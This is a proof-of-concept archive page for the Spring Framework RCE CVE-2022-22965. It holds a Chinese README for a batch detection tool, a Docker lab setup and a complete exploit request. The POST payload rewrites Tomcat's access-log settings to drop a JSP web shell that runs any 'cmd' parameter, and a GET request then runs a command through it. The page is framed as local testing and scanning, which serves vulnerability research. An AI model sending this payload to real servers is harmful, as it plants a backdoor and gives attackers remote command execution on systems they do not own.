Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source
Associated Vulnerability
Title:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Description
批量无损检测CVE-2022-22965
Readme
## Spring-Core JDK9+ RCE

### 使用说明
```
╰─ ./CVE-2022-22965 -h                                                                                                                                                                                                                                            ─╯
单个检测:./CVE-2022-22965 -u http://127.0.0.1:8080
批量检测:./CVE-2022-22965 -l url.txt 
```

### 漏洞本地测试

##### 0x01 docker镜像
```
 docker pull vulfocus/spring-core-rce-2022-03-29
 docker run -itd -p 8080:8080 -P vulfocus/spring-core-rce-2022-03-29
```
-it:开启输入功能并连接伪终端
-d: 后台运行容器
-p: 端口映射

##### 0x02 本地war包

将war包放在本地webapps目录下
jdk切换成9以上,我这里是jdk11,然后启动tomcat
![](https://files.mdnice.com/user/20935/1a2bfab0-4370-4a74-875e-5cf44df25d15.png)
注入EXP:

```
POST / HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
suffix: %>
prefix: <%Runtime
Content-Type: application/x-www-form-urlencoded
Content-Length: 495

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
```
执行命令:
```
GET /shell.jsp?cmd=open%20/System/Applications/Calculator.app HTTP/1.1
Host: 127.0.0.1:8080

```

![](https://files.mdnice.com/user/20935/756d405c-7e1f-4882-9eac-fce9ba61711f.png)
File Snapshot

[4.0K] /data/pocs/afec72715f8f7767fd102fddcdabc176ee542c23 ├── [ 184] go.mod ├── [6.0K] go.sum ├── [3.0K] main.go ├── [2.1K] README.md └── [ 14] url.txt 0 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →